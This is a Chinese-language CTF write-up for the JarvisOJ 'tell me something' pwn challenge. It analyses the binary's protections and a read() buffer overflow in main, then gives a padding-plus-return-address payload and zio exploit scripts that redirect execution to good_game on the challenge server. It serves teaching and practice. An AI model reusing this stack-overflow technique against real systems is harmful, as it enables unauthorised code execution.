[JarvisOj](pwn)tell me something


简介 :

项目地址 :

pwn题目及 writeup 汇总

题目说明 :

Do you have something to tell me?

地址 :

nc pwn.jarvisoj.com 9876

文件 :

guestbook.d3d5869bd6fb04dd35b29c67426c0f05


原理分析 :

拿到程序 , 首先通过 file 命令查看文件类型

guestbook: 
ELF 64-bit LSB executable, 
x86-64, 
version 1 (SYSV), 
dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, 
for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e, 
not stripped

Linux 的 64 位 elf 文件
然后使用 checksec 来检查该二进制文件的安全性 :

[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/sun/pwnme/lessons/jarvisoj/1/guestbook'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found # 栈保护未开启
    NX:       NX enabled # 栈代码不可执行
    PIE:      No PIE

我们来通过 objdump -t 来查看符号表


./guestbook:     file format elf64-x86-64

SYMBOL TABLE:
0000000000400200 l    d  .interp    0000000000000000              .interp
000000000040021c l    d  .note.ABI-tag  0000000000000000              .note.ABI-tag
000000000040023c l    d  .note.gnu.build-id 0000000000000000              .note.gnu.build-id
0000000000400260 l    d  .gnu.hash  0000000000000000              .gnu.hash
0000000000400280 l    d  .dynsym    0000000000000000              .dynsym
0000000000400328 l    d  .dynstr    0000000000000000              .dynstr
0000000000400378 l    d  .gnu.version   0000000000000000              .gnu.version
0000000000400388 l    d  .gnu.version_r 0000000000000000              .gnu.version_r
00000000004003a8 l    d  .rela.dyn  0000000000000000              .rela.dyn
00000000004003c0 l    d  .rela.plt  0000000000000000              .rela.plt
0000000000400450 l    d  .init  0000000000000000              .init
0000000000400470 l    d  .plt   0000000000000000              .plt
00000000004004e0 l    d  .text  0000000000000000              .text
0000000000400704 l    d  .fini  0000000000000000              .fini
0000000000400710 l    d  .rodata    0000000000000000              .rodata
0000000000400768 l    d  .eh_frame_hdr  0000000000000000              .eh_frame_hdr
00000000004007b0 l    d  .eh_frame  0000000000000000              .eh_frame
00000000006008d8 l    d  .init_array    0000000000000000              .init_array
00000000006008e0 l    d  .fini_array    0000000000000000              .fini_array
00000000006008e8 l    d  .jcr   0000000000000000              .jcr
00000000006008f0 l    d  .dynamic   0000000000000000              .dynamic
0000000000600ac0 l    d  .got   0000000000000000              .got
0000000000600ac8 l    d  .got.plt   0000000000000000              .got.plt
0000000000600b10 l    d  .data  0000000000000000              .data
0000000000600b20 l    d  .bss   0000000000000000              .bss
0000000000000000 l    d  .comment   0000000000000000              .comment
0000000000000000 l    df *ABS*  0000000000000000              crtstuff.c
00000000006008e8 l     O .jcr   0000000000000000              __JCR_LIST__
0000000000400550 l     F .text  0000000000000000              deregister_tm_clones
0000000000400590 l     F .text  0000000000000000              register_tm_clones
00000000004005d0 l     F .text  0000000000000000              __do_global_dtors_aux
0000000000600b20 l     O .bss   0000000000000001              completed.6661
00000000006008e0 l     O .fini_array    0000000000000000              __do_global_dtors_aux_fini_array_entry
00000000004005f0 l     F .text  0000000000000000              frame_dummy
00000000006008d8 l     O .init_array    0000000000000000              __frame_dummy_init_array_entry
0000000000000000 l    df *ABS*  0000000000000000              pwn100.c
0000000000000000 l    df *ABS*  0000000000000000              crtstuff.c
00000000004008d0 l     O .eh_frame  0000000000000000              __FRAME_END__
00000000006008e8 l     O .jcr   0000000000000000              __JCR_END__
0000000000000000 l    df *ABS*  0000000000000000              
00000000006008e0 l       .init_array    0000000000000000              __init_array_end
00000000006008f0 l     O .dynamic   0000000000000000              _DYNAMIC
00000000006008d8 l       .init_array    0000000000000000              __init_array_start
0000000000600ac8 l     O .got.plt   0000000000000000              _GLOBAL_OFFSET_TABLE_
0000000000400700 g     F .text  0000000000000002              __libc_csu_fini
0000000000000000  w      *UND*  0000000000000000              _ITM_deregisterTMCloneTable
0000000000600b10  w      .data  0000000000000000              data_start
0000000000000000       F *UND*  0000000000000000              write@@GLIBC_2.2.5
0000000000600b20 g       .data  0000000000000000              _edata
0000000000400704 g     F .fini  0000000000000000              _fini
0000000000000000       F *UND*  0000000000000000              fgetc@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              read@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000600b10 g       .data  0000000000000000              __data_start
0000000000000000  w      *UND*  0000000000000000              __gmon_start__
0000000000600b18 g     O .data  0000000000000000              .hidden __dso_handle
0000000000400710 g     O .rodata    0000000000000004              _IO_stdin_used
0000000000400690 g     F .text  0000000000000065              __libc_csu_init
0000000000600b28 g       .bss   0000000000000000              _end
0000000000400526 g     F .text  0000000000000000              _start
0000000000600b20 g       .bss   0000000000000000              __bss_start
00000000004004e0 g     F .text  0000000000000046              main
0000000000000000       F *UND*  0000000000000000              fopen@@GLIBC_2.2.5
0000000000000000  w      *UND*  0000000000000000              _Jv_RegisterClasses
0000000000400670 g     F .text  000000000000001e              readmessage
0000000000600b20 g     O .data  0000000000000000              .hidden __TMC_END__
0000000000000000  w      *UND*  0000000000000000              _ITM_registerTMCloneTable
0000000000400450 g     F .init  0000000000000000              _init
0000000000400620 g     F .text  000000000000004a              good_game

注意到最后面的 good_game 函数比较可疑
我们这里为了简洁起见 , 直接在物理机(Windows)中使用 ida 来反编译这个程序

[JarvisOj](pwn)tell me something_第1张图片
Paste_Image.png

[JarvisOj](pwn)tell me something_第2张图片
Paste_Image.png

有点意思了 , 我们看到 good_game 函数的功能是 : 打开 flag.txt 这个文件 , 并将文件内容写到标准输出流中
但是这个函数在主函数中并没有被调用 , 因此我们需要通过主函数来修改程序的执行流程来达到执行 good_game 的目的
main 函数中调用了 read 函数 , 显然存在缓冲区溢出漏洞
我们可以向缓冲区中输入大于 buffer 长度的数据 , 这样多余的数据就会溢出 , 并覆盖栈上的一些数据
我们知道在栈上还保存了 main 函数的返回地址
因此我们只需要将 main 的返回地址修改为 good_game 的地址
这样当 main 执行完毕 , 返回的时候 , 程序指针就会跳转到 good_game 进行执行
这样我们就可以拿到 flag
我们来看看 main 函数的栈帧 :

[JarvisOj](pwn)tell me something_第3张图片
Paste_Image.png
[JarvisOj](pwn)tell me something_第4张图片
Paste_Image.png

可以看到 , 用于缓冲用户输入的字符数组距离 main 的返回地址有 0x88 个字节
因此我们需要输入 0x88 (136) 个字节的垃圾数据 , 然后我们还需要输入 good_game 的地址 , 这样程序返回的时候就会跳转到 good_game 去执行
我们可以通过 ida 来查看 good_game 的地址 :

[JarvisOj](pwn)tell me something_第5张图片
Paste_Image.png

地址是 : 0x400620 , 需要转换成小端序的形式 , 可以利用 python 的 zio 库的 l64 这个函数来进行转换 , 或者直接反过来 :
也就是 : \x20\x06\x40\x00\x00\x00\x00\x00 (64位需要 8 字节来表示地址)
这样我们的 payload 也就是 :

python -c 'print "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"'

构造好了 payload , 我们就可以使用 python 的 zio 库 (或者 pwntools 库) 来进行漏洞的利用了
给出一个很简陋的利用代码

import zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
Io = zio.zio("./guestbook")
Io.write(payload)
Io.interact()

对了 , 我们要执行 good_game 这个函数 , 这个函数需要读取一个 flag.txt 这个文件 , 因此为了我们在本地能看到效果 , 先创建一个 flag.txt 的文件 , 如果我们向程序注入 payload
然后打印出了 flag.txt 的内容 , 就可以说明本地利用成功

[JarvisOj](pwn)tell me something_第6张图片
Paste_Image.png

OMG , 成功了 , 快 pwn 掉服务器

import zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
Io = zio.zio(("pwn.jarvisoj.com", 9876))
Io.write(payload)
Io.interact()
[JarvisOj](pwn)tell me something_第7张图片
Paste_Image.png

利用脚本 :

#!/usr/bin/env python
# encoding:utf-8

import sys
import zio

def getPayload():
    target = zio.l64(0x400620)
    payload = "A" * 128 + "B" * 8 + target
    return payload

def showHelp():
    print "Usage : "
    print "        python exploit.py [local|remote]"

def main():
    if len(sys.argv) != 2:
        showHelp()
        exit(1)
    if sys.argv[1] == "local":
        Io = zio.zio("./guestbook")
    elif sys.argv[1] == "remote":
        Io = zio.zio(("pwn.jarvisoj.com", 9876))
    else:
        showHelp()
        exit(2)
    Io.write(getPayload())
    Io.interact()

if __name__ == "__main__":
    main()

你可能感兴趣的:([JarvisOj](pwn)tell me something)